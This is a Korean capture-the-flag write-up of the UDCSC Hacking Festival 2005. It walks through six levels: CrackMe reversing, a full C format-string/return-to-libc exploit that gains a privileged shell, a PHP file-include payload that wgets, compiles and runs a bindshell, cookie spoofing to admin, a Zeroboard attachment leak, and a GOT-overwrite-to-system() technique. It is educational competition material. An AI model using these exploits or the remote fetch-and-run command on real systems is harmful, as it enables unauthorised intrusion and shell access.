UDCSC Hacking Festival 2005 작성자 : 유동훈 목차 0x00: 소개인사 0x01: Level1 문제 0x02: Level2 문제 0x03: Level3 문제 0x04: Level4 문제 0x05: Level5 문제 0x06: Level6 문제 0x07: 후기 0x00: 소개인사 안녕하세요. 이렇게만나뵙게되어서반갑습니다. 이번이벤트를주최해주신여러분들께진심으로감사드리는바입니다. 준비한문서내용이많이부족할지모릅니다. 아무쪼록잘봐주시기바랍니다. 그럼, 본문으로들어가도록하겠습니다.
0x01: Level1 문제 윈도우 CrackMe.exe 프로그램을다운로드받아풀어야하는있는리버싱문제로써크랙에대한지식이있어야풀수있는문제로보입니다. 해당프로그램은 level1의패스워드와다른레벨문제힌트를함께담고있습니다. 우선 Ollydbg를다운로드받아준비하고있을때쯤 (?) CrackMe2.exe (BETA 판?) 가다시올라왔습니다. 프로그램을다운로드받아실행해보니, 쉽게 level1의패스워드를뱉어내어매우당황했습니다. ( 허거걱 ) 어쨌든쉽게 level2 서버로접속할수있었습니다. 여담이지만, 레벨 3 까지 level1 프로그램도움없이쉽게해결할수있었습니다. ( 뭐.. 약간의뻘짓이면가능합니다 ) IP 대역이붙어있어서서버를유추하는데그리어렵지 않았습니다. level2 접속힌트 : http://168.188.130.233/level2.php level3 접속힌트 : http://168.188.130.234/level3.php ( 안보고때려서접속했습니다..;;) level4 접속힌트 : ( 예상하는곳에있을줄알았지만 -_- 없었습니다, 앗.. 이런 ) 이러면안되겠다싶어결국, 다시 level1 프로그램을훑기로했습니다. 이미, level2와 level3에대한문자열을얻어놓은상태였기때문에, 다른힌트코드역시쉽게분석이가능했습니다. 다만, 원본파일 ( 처음에올라왔던 CrackMe.exe) 만을분석하고있었기때문에나중에올라온 (CrackMe2.exe) 프로그램과다른지전혀모르고있다가낭패를보았습니다. CrackMe2.exe 은 0x00401950 address 부근부터암호문자열구조에맞는패스워드를작성하는 코드를볼수있습니다. MOVSX 레지스터,BYTE PTR DS:[ 레지스터 + 값 ] 위의연산을통해패스워드문자값을작성하는데, 잘보면다음의문자열구조를참조하는것을 알수있습니다. ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:/.~0123456789 위문자열구조를통해각몇번째원소값인지유추할수있습니다. 각값과매칭시켜보면, ( 간단히 C 로작성할수있었음 )
... a-0x7e, b-0x7f, c-0x80, d-0x81, e-0x82, f-0x83, g-0x84, h-0x85, i-0x86, j-0x87, k-0x88, l-0x89, m-0x8a, n-0x8b, o-0x8c, p-0x8d, q-0x8e, r-0x8f, s-0x90, t-0x91, u-0x92, v-0x93, w-0x94, x-0x95, y-0x96, z-0x97, :-0x98, /-0x99,.-0x9a, ~-0x9b, 0-0x9c, 1-0x9d, 2-0x9e, 3-0x9f, 4-0xa0, 5-0xa1, 6-0xa2, 7-0xa3, 8-0xa4, 9-0xa5... 각문자열값을얻어내어다음과같은원본문자열을얻어올수있습니다. level1 disassemble 내용 :... 00402826. 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 00402829. 0FBE82 9B00000>MOVSX EAX,BYTE PTR DS:[EDX+9B] ; ~ 00402830. 50 PUSH EAX 00402831. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 00402834. 0FBE91 9800000>MOVSX EDX,BYTE PTR DS:[ECX+98] ; : 0040283B. 52 PUSH EDX 0040283C. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040283F. 0FBE88 9B00000>MOVSX ECX,BYTE PTR DS:[EAX+9B] ; ~ 00402846. 51 PUSH ECX 00402847. 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 0040284A. 0FBE82 8500000>MOVSX EAX,BYTE PTR DS:[EDX+85] ; h 00402851. 50 PUSH EAX 00402852. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 00402855. 0FBE91 8D00000>MOVSX EDX,BYTE PTR DS:[ECX+8D] ; p 0040285C. 52 PUSH EDX 0040285D. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00402860. 0FBE48 7E MOVSX ECX,BYTE PTR DS:[EAX+7E] ; a 00402864. 51 PUSH ECX 00402865. 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 00402868. 0FBE82 8F00000>MOVSX EAX,BYTE PTR DS:[EDX+8F] ; r 0040286F. 50 PUSH EAX 00402870. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 00402873. 0FBE91 8400000>MOVSX EDX,BYTE PTR DS:[ECX+84] ; g
0040287A. 52 PUSH EDX 0040287B. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040287E. 0FBE88 8C00000>MOVSX ECX,BYTE PTR DS:[EAX+8C] ; o 00402885. 51 PUSH ECX 00402886. 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 00402889. 0FBE82 9100000>MOVSX EAX,BYTE PTR DS:[EDX+91] ; t 00402890. 50 PUSH EAX 00402891. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 00402894. 0FBE91 8800000>MOVSX EDX,BYTE PTR DS:[ECX+88] ; k 0040289B. 52 PUSH EDX 0040289C. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040289F. 0FBE88 8000000>MOVSX ECX,BYTE PTR DS:[EAX+80] ; c 004028A6. 51 PUSH ECX 004028A7. 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 004028AA. 0FBE42 7E MOVSX EAX,BYTE PTR DS:[EDX+7E] ; a 004028AE. 50 PUSH EAX 004028AF. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 004028B2. 0FBE91 8F00000>MOVSX EDX,BYTE PTR DS:[ECX+8F] ; r 004028B9. 52 PUSH EDX 004028BA. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 004028BD. 0FBE88 8000000>MOVSX ECX,BYTE PTR DS:[EAX+80] ; c 004028C4. 51 PUSH ECX 004028C5. 68 30235B00 PUSH 2CrackMe.005B2330 ; ASCII "level1 password : %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"... 결과적으로분석된내용 : level1 패스워드 : cracktograph~:~ ( 원래패스워드에서뒤에특수문자 3글자가추가되었음 ) level2 접속힌트 : http://168.188.130.233/level2.php level3 접속힌트 : http://168.188.130.234/level3.php level4 접속힌트 : http://168.188.130.233/login.php level5 접속힌트 : http://168.188.130.234/level5.php level6 접속힌트 : http://168.188.130.239/level6.html
0x02: Level2 문제 Fedora core 3 환경에서 overflow + format string exploit 을시도하는문제입니다. 힌트웹으로 접속하면다음과같은정보를줍니다. http://168.188.130.233/level2.php login localhost:22 ID : guest PASS : DHF2005 해당정보를통해서버에 local 접속하였습니다. 일반적인 FC3 공격방법이통하는것같아 다음과같은공격 method 를준비하였습니다. 우선, buffer overflow를통해 1032byte 후나타나는 ebp를 execl의인자값포인터 - 8 값으로채우고 ret 부분을 execl+3 ( 프롤로그가끝나는시점 ) 로채웁니다. 일반적인공격방법대로라면, execl의인자값포인터부분의값을심볼릭링크로걸어넣어도공격을성공할수있습니다만, 조금더편하게쉘을실행하기위해 format string 기법을이용하였습니다. 아마도제가생각하는방법이문제출제자의의도중하나가아닐까생각되네요. 또한, NULL 값입력이용이하도록프로그램이 scanf() 를사용하더군요 ~ ^^ [execl의인자값 1로쓰일주소코드 ] [execl의인자값 2로쓰일주소코드 ] [execl의인자값 3으로쓰일주소코드 ] /* execl의요구인자값이세개이므로, 세번에덮어씀 */ [ 인자값 1에대한포맷스트링코드 ] /* "/bin/csh" 의위치로덮어씌움 */ [ 인자값 2에대한포맷스트링코드 ] /* "/bin/csh의위치로덮어씌움 */ [ 인자값 3에대한포맷스트링코드 ] /* NULL로덮어씌움 */ [ 나머지 1032byte의잉여공간을채우기위한코드 ] [execl의인자값포인터주소에서 8을뺀주소코드 ] [execl+3의주소코드 ]
간단히공격 method에대해설명하자면, 포맷스트링공격을통해총세번의주소값코드를덮어씌웁니다. [http://l0t3k.net/biblio/formatstring/en/double-formatstring.txt] - double format string exploit 이공격은 RTL을위해각필요한 address 값을덮어씌우거나, shellcode 자체를실행가능한메모리영역에덮어씌우는데매우유용한방법을제공합니다. 덮어씌우는세개의주소값은 execl() 함수가필요로하는 3가지인자값으로사용하기위해서입니다. 실행할프로그램의인자를 "/bin/csh" 로덮어쓰는이유는 "/bin/sh" 를한번에실행할경우 group 권한을얻지못하기때문입니다. setreuid() 와 setregid() 를수행후 "/bin/sh" 를실행하기위해 symlink 작업과정을거쳐야하지만, 곧바로 "/bin/csh" 을덮어씌우면이과정을거치지않고도 group 권한의쉘획득이가능합니다. 우선, 공통으로사용하는동적 libc 라이브러리에 "/bin/sh" 문자열과 "/bin/csh" 문자열이 있는것을확인할수있습니다. [guest@target1 level2_solv]$ ldd level2 libc.so.6 => /lib/tls/libc.so.6 (0x00b98000) /lib/ld-linux.so.2 (0x00b7f000) [guest@target1 level2_solv]$ strings /lib/tls/libc.so.6 grep -e '/bin/sh /bin/csh' /bin/sh /bin/csh [guest@target1 level2_solv]$ /lib/tls/libc.so.6 라이브러리를사용하고있는것을볼수있으며, 프로그램실행시배치될것을 예상하여, 위주소들을얻어오면됩니다. [guest@target1 level2_solv]$ objdump -s /lib/tls/libc.so.6 grep -e '/bin/sh csh' caf600 2d63002f 62696e2f 73680065 78697420 -c./bin/sh.exit cb0890 2f637368 002f6574 632f7368 656c6c73 /csh./etc/shells [guest@target1 level2_solv]$
이렇게얻게된정보를토대로프로그램내에실행후배치된위치를확인해볼수있습니다. [guest@target1 level2_solv]$ gdb -q level2 (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) r Starting program: /var/tmp/level2_solv/level2 (no debugging symbols found)...(no debugging symbols found)...x x Program exited normally. (gdb) x/s 0xcaf603 0xcaf603 < libc_ptyname1+2172>: (gdb) x/s 0xcb088c 0xcb088c < libc_ptyname1+6917>: (gdb) "/bin/sh" "/bin/csh" exploit에서는 "/bin/csh" 주소인 0xcb088c를이용하도록합니다. 그다음 execl+3을덮어씌우는공격코드는이전에해커스쿨대회에서유진호님께서선보이셨던방법입니다. 우선, execl+3을해주는이유는프롤로그과정을거치기때문에 %ebp를 push 후, %esp가 %ebp에덮어씌워져손상되는일을막기위해서입니다. 그래서과정을생략한 execl+3 부분으로점프합니다. 그리고, 첫번째인자값포인터에서 -8 을빼는이유는 execl() 에서내부적으로 execve() 를 호출하는데, 이때실행하는첫번째프로그램인자 ("/bin/csh") 를 %ebp 의 +8 위치에서얻어오기 때문입니다. 이를조금더자세히확인해보면, (gdb) disass execve Dump of assembler code for function execve: 0x00c21490 <execve+0>: push %ebp 0x00c21491 <execve+1>: mov %esp,%ebp 0x00c21493 <execve+3>: sub $0x8,%esp 0x00c21496 <execve+6>: mov %ebx,(%esp) 0x00c21499 <execve+9>: mov 0xc(%ebp),%ecx
0x00c2149c <execve+12>: call 0x00c214a1 <execve+17>: add 0x00c214a7 <execve+23>: mov 0x00c214ab <execve+27>: mov 0x00c214ae <execve+30>: mov 0x00c214b1 <execve+33>: xchg 0x00c214b3 <execve+35>: mov 0xbacc71 < i686.get_pc_thunk.bx> $0x99b53,%ebx %edi,0x4(%esp) 0x10(%ebp),%edx 0x8(%ebp),%edi %ebx,%edi $0xb,%eax 잘살펴보면, %eax에 $0xb ( NR_execve) 를넣고 %edi에 %ebp+8 위치값 (0x8(%ebp)) 을넣은후, 나중에 %ebx에 exchange(xchg %bx,%edi) 명령을통해교환하는것을볼수있습니다. %ecx에는 %ebp+12 위치값 (0xc(%ebp)) 을넣고, %edx에는 %ebp+16의위치값 (0x10(%ebp)) 을넣는것을확인하였습니다. 결론적으로우리가 execl+3 을불러올때사용하는 ebp 의 +8 는첫번째인자의위치가되고, +12 는두번째인자가되며 +16 은세번째인자의위치가됩니다. 지금까지공격코드에서왜 execl+3 의위치를덮어씌우고첫번째인자값의포인터에서 -8 을빼는지도알아봤습니다. 위의작업을수월하게성공시키기위해다음과같은 fmt_t.c 를 작성하였습니다. /* ** format string overwite test sploit */ #include <stdio.h> int main() { int i=0; char x[800]= // 0x804958c (execl() arguments pointer) " x8c x95 x04 x08 x8e x95 x04 x08" " x90 x95 x04 x08 x92 x95 x04 x08" " x94 x95 x04 x08 x96 x95 x04 x08"
; } "%%2164x%%8$n%%63551x%%9$n" // 0xcb088c (/bin/csh) "%%1985x%%10$n%%63551x%%11$n" // 0xcb088c (/bin/csh) "%%65333x%%12$n%%65536x%%13$n" // 0 (NULL) printf(x); for(i=0;i<1032-strlen(x)+12/* '%' value */;i++) { printf("x"); } printf("aaaa"); fflush(stdout); 컴파일후, 코드를실행시킨결과입니다. [guest@target1 level2_solv]$ gcc -o fmt_t fmt_t.c [guest@target1 level2_solv]$./fmt_t > res [guest@target1 level2_solv]$ gdb -q level2 (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) r < res... Program received signal SIGSEGV, Segmentation fault. 0x00bace00 in libc_start_main () from /lib/tls/libc.so.6 (gdb) x/x 0x0804958c 0x804958c <_DYNAMIC+144>: 0x00cb088c <--- execl 첫번째프로그램인자 (gdb) 0x8049590 <_DYNAMIC+148>: 0x00cb088c <--- execl 두번째인자 (gdb) 0x8049594 <_DYNAMIC+152>: 0x00000000 <--- execl 세번째인자 (gdb) 포맷스트링공격코드를이용해덮어씌운결과, 정확히원하는주소에 "/bin/csh" 주소가 덮어씌워진것을볼수있었습니다. 다음은이렇게완성된최종적인공격 exploit 코드입니다.
/* ** It's real sploit */ #include <stdio.h> #include <unistd.h> /* [XXXXXXXX... 1032...XXXXXXXX][arguments pointer - 8][execl+3] arguments pointer: 0x0804948c (gdb) x 0x0804958c 0x804958c <_DYNAMIC+144>: 0x00cb088c (execl argument 1) (gdb) 0x8049590 <_DYNAMIC+148>: 0x00cb088c (execl argument 2) (gdb) 0x8049594 <_DYNAMIC+152>: 0x00000000 (execl argument 3) */ int main(int argc,char *argv[]) { int i; unsigned long args_ptr=0x0804948c; /* 0xc21723 <execl+3>: 0x57104d8d */ unsigned long execl_3=0x00c21723; /* objdump -s /lib/tls/libc.so.6 grep "csh" cb0890 2f637368 002f6574 632f7368 656c6c73 /csh./etc/shells "/bin/csh" address is 0xcb088c */ unsigned long shell=0xcb088c; unsigned char atk_head[1024]; unsigned char atk_buf[256]; unsigned char buf[4096]; int a,b,c,d,e,f; a=b=c=d=e=f=0;
memset((char *)atk_head,0,sizeof(atk_head)); memset((char *)atk_buf,0,sizeof(atk_buf)); memset((char *)buf,0,sizeof(buf)); /* execl argument 1 */ *(long *)&atk_head[0]=args_ptr+0; *(long *)&atk_head[4]=args_ptr+2; /* execl argument 2 */ *(long *)&atk_head[8]=args_ptr+4; *(long *)&atk_head[12]=args_ptr+6; /* execl argument 3 */ *(long *)&atk_head[16]=args_ptr+8; *(long *)&atk_head[20]=args_ptr+10; /* execl argument 1 */ a=(shell&0x0000ffff)>>0; b=(0x10000+((shell&0xffff0000)>>16))-a; /* execl argument 2 */ c=((shell&0x0000ffff)>>0)-((shell&0xffff0000)>>16); d=(0x10000+((shell&0xffff0000)>>16))-a; /* execl argument 3 */ e=(0x10000+((0x00000000&0x0000ffff)>>0))-((shell&0xffff0000)>>16); f=(0x10000+((0x00000000&0xffff0000)>>16))-0; printf("%s" "%%%ux%%8$n%%%ux%%9$n" "%%%ux%%10$n%%%ux%%11$n" "%%%ux%%12$n%%%ux%%13$n",atk_head,a-strlen(atk_head),b,c,d,e,f); for(i=0;i<940;i++) { printf("x"); }
} *(long *)&atk_buf[0]=args_ptr-8; /* arguments pointer - 8 */ *(long *)&atk_buf[4]=execl_3; printf("%s",atk_buf); fflush(stdout); 실행결과, level2 gid 권한을얻을수있었습니다. [guest@target1 level2_solv]$ (./x00;cat) /home/guest/level2... 804815cXXXXXXXX... 생략...XXXXX#? id uid=501(guest) gid=501(guest) egid=502(level2) groups=501(guest) context=user_u: system_r:unconfined_t 해당 level2 의패스워드는, "It is No Fake~!" 입니다.
0x03: Level3 문제 힌트웹페이지에접속하면, 다음화면을볼수있습니다. 인자값은쉽게유추할수있었으며, PHP Injection 공격을통해쉘을얻을수있습니다. http://168.188.130.234/level3.php hahahaha level 3 is What?? parameter dir is. 공격요청 URL: level3.php?dir=http:// 공격자주소 / 공격자의서버에는 include.php 파일을작성하여공격할수있으며, 올바른공격을위해 apache httpd.conf 설정에서 php 확장자지원을주석처리하여 PHP 문법실행을일시적으로 봉쇄한후실행했습니다. <??> passthru("cd /tmp ; wget http:// 패킷스톰 /bindshell.c ; gcc -o bindshell bindshell.c ;./bindshell"); 31337 번포트로열리는 bindshell 을 tmp 디렉토리에다운로드받아컴파일후실행하여 접속할수있었습니다. level3 의패스워드는, "Keep, Kep, Ke" 입니다.
0x04: Level4 문제 일반적인쿠키스푸핑취약점문제입니다. 인증창을로그인후웹브라우저에서 javascript:document.cookie 문법을통해먼저쿠키값을확인하였습니다. guest id로로그인하면, user_id=guest로 Set-Cookie 되는데, 이를 level4로변경하면, level4의권한으로웹을볼수있습니다. 별다른것이없음을확인하고, user_id=admin으로재접속하니 level4의패스워드정보를얻을수있었습니다. http://168.188.130.233/login.php 공격요청코드 : GET http://168.188.130.233/login.php HTTP/1.0 Cookie: user_id=admin level4 의패스워드는 "Serialized by myself~!" 입니다.
0x05: Level5 문제 http://168.188.130.234/level5.php zboard 게시판주소 : http://168.188.130.239/~passket/v3/bbs/zboard.php?id=udcsc 제로보드최신버전에는또다른곳에취약점이존재합니다. iframe exploit이라하여, XSS script 태그를대신하여공격할수있습니다. 이는제로보드자체가공격자에의한세션취약점을차단하는알고리즘을사용하고있기에고안된공격방법입니다. [http://x82.inetcop.org/h0me/papers/iframe_tag_exploit.txt] - GET, POST method iframe exploit 해당방법으로공격을시도했지만, 운영자가쪽지함에접속하지않아결과적으론공격이실패했습니다. 하지만, 쪽지함에접속했다면, 메시지를읽지않아도 iframe이수행되기때문에 remote 공격을통해 shell을획득할수있습니다. level6 remote exploit 과정없이도해당서버에접속할수있었을것으로생각됩니다. 문제출제자의의도대로제로보드에잠재된취약점이라하여 view.php, _head.php, 순서대로분석 하고, 첨부파일관련알고리즘역시간단하게훑어봤습니다. 공격의시나리오는생각보다간단했습니다. 우선, 자신의글을작성하여파일을첨부한후, 그해당파일을읽을때 URL을기억한후, 게시판번호인자값만비밀글주소로변경해주면, 일반사용자도비밀글에첨부된파일을쉽게읽을수있게됩니다. 비밀글이나관리자가 upload 하는자료일지라도동일한웹서버권한으로파일이올라가기때문에첨부파일의경로가다른사용자에게알려지면비공개자료가유출될수있는문제점이라할수있습니다. 우선, 위에서잠시설명한대로, 제로보드자체는세션을 IP로인증합니다. 그래서접속중인 IP가변경되면, 곧바로세션을 unset 합니다. 보유중인 proxy 서버를통하여웹상에서미리로그인하였습니다. 간단한네트워크 sniffing을통해 packet을 capture한후, 게시판번호인자값을비밀글 ( 공지글 ) 의번호로변경하였습니다. 자, 이제 proxy 서버에서직접조작한데이터내용을보냅니다.
GET http://168.188.130.239/~passket/v3/bbs/download.php?id=udcsc&page=1&sn1=&divpage=1&sn= off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=3&filenum=1 HTTP/1.0 Referer: http://168.188.130.239/~passket/v3/bbs/view.php?id=udcsc&page=1&sn1=&divpage=1&sn=off&s s=on&sc=on&select_arrange=headnum&desc=asc&no=3 Accept-Language: ko Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 168.188.130.239 Cookie: zb_s_check=8_20; PHPSESSID=8e92ecfbd1e95ff7873437fc19f0015b 위내용대로요청하면, 해당게시판비밀글에첨부된파일의경로가출력됩니다. 경로를추출하여웹에서접속하면 level5의패스워드정보를얻을수있습니다. 추출한첨부파일경로 URL http://168.188.130.239/~passket/v3/bbs/data/udcsc/password_eifejiefj.txt level5 의패스워드는 "Find my liberty!" 입니다.
0x06: Level6 문제 http://168.188.130.239/level6.html 웹주소로접속하면, id와 passwd를입력할수있는입력창이나옵니다. http://168.188.130.239/cgi-bin/level6.cgi 프로그램은 POST 방식으로인자가전달되며, format string 취약점이존재하고있는것을예상할수있었습니다. %8x로스택안의내용을살펴본결과, 공격시덮어쓸수있는횟수를제한하기위해구성한것같아보였습니다. ( 단지추측 ) 입력하는맨앞의문자열 12byte 공간을이용하여 exploit 하는방향으로정했습니다. 사실, HTTP 환경변수를크게넣어보니, 출력되는것을볼수는있었습니다만, 랜덤스택환경이기때문에공격확률면에서크게떨어질것으로생각되어시도해보진않았습니다. 먼저, 시도하려는공격에대해간단히설명드리겠습니다. 해당 exploit method 는덮어쓰려는각 address 주소를알고있다면, 원격공격상에선매우 유리한방법중하나입니다. 다음예제를보면, int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); printf("id"); } 해당소스코드는공격이가능하다는것을보이기위해간단히작성한내용입니다. 우선첫번째 printf 함수호출시, format string 취약점이발생합니다. 해당함수의실행구조에대해알아보기위해추상적으로설명해보겠습니다.
* 프로그램상에서 printf 함수가처음으로실행되었을때 : 1. printf 함수실행 2. printf 함수 PLT 수행 3. printf 함수 GOT (PLT push 명령을가리킴 ) 점프. 4. dl-resolve ( 인자값으로 push 명령인자가들어감 ) 호출, GOT에는공유라이브러리실제주소설정됨. 5. 공유라이브러리내의함수실행 * 프로그램상에서 printf 함수가두번째로실행되었을때 : 1. printf 함수실행 2. printf 함수 PLT 3. 첫번째실행시, 설정된 GOT 를참조하여공유라이브러리내의 printf 함수실행 이러한실행구조를갖는이유는여러가지가있습니다. 사용상이점으로메모리, 디스크자원절약및재차코드수정작업개발에용이하도록하기위함입니다. 어쨌든, 포맷스트링취약점이있는 printf 함수를통한비교적쉬운인자실행방법이존재합니다. 그이유는 printf 인자값자체가명령으로쓰일수있기때문입니다. 첫번째 printf 함수실행시, 포맷스트링공격코드의내용은당연히 printf GOT 주소를 system 라이브러리주소로변경하는내용이될것입니다. 그렇게되면, GOT의정보를사실대로믿는프로그램은당연히 printf 함수대신 system 함수를실행하게될것이고, 실제두번째 printf 함수실행시, printf의인자값으로쓰이는 "id" 스트링자체가명령코드로실행되어버리는일이발생합니다. 즉, 결과적으로 system("id"); 명령을실행하게되는것입니다. #./vuln `printf " xcc x94 x04 x08 xce x94 x04 x08"`%33112x%1 $n %48805x%2 $n.. 생략..... 80uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) #
제가생각하는공격 method 로는공격의성공가능성이있는지정확하지않습니다. 시스템내에작성된프로그램환경에매우의존적으로동작하기때문입니다. printf 함수가여러번실행된다면, 충분히공격은가능할것입니다. 얼마전 wowhacker 대회에서도비슷한원격 format string 취약점문제가출제된것이있는데이방법으로 exploit을해결할수있습니다. ( 포맷스트링공격코드뒤에 system 함수인자로들어갈시스템명령을넣어줌 ) 공격에는몇가지난관이있습니다. 우선, printf GOT 를 brute-force 과정을통해 +4 씩 증가시켜대입하여찾아냅니다. 문제는 format string 으로덮어씌우는 system() address 가 정확하지않다는것입니다. 힌트를통해 PLT, GOT 정보나공유라이브러리 address 를알았다면, 공격에한층더 유리해졌겠지만 개인적인사정때문에프로그램을충분히분석해보지못해서그런지몰라도.. ^^ 위의값들이전부주어졌다해도또다른난관에부딪혔을수도있겠군요..;; 프로그램내의 printf() 함수수행횟수에따라서도공격성공여부가결정되니까요. 0x07: 후기 지난주말, 음주와회사의과중한 (?) 업무로인해많은시간을할애하지못한관계로최선을다하지못한것이끝내아쉽습니다. 한동안이러한이벤트에참여하지않다가막상접해보니많이헤매게되더군요. 물론이쪽연구를소홀히한탓이지만이번회사업무가끝나면열중하여다시연구해야겠다는생각이들었습니다. ^^ 사실저에게는 Fedora 시스템대한정보나사전지식이전혀없었습니다. 대회당일시스템을 처음으로다루어보게되었는데역시나보안이강화된시스템이라그런진몰라도여러가지 예상하지못한제약사항이다수존재하더군요. 아직도의아한부분이구석구석보입니다. 제로보드와같은문제는참신하기도했지만, PHP Injection 이나 Cookie 를이용한일반적인공격 방법은푸는사람으로하여금조금더응용을발휘하도록유도했으면더좋지않았나싶습니다. 아마도이벤트기간이더길었다면, 제공되는힌트도체계적으로주어지지않았을까싶네요. 이번이벤트를주최해주신여러분들께다시한번진심으로감사드리는바입니다. 수고하셨습니다.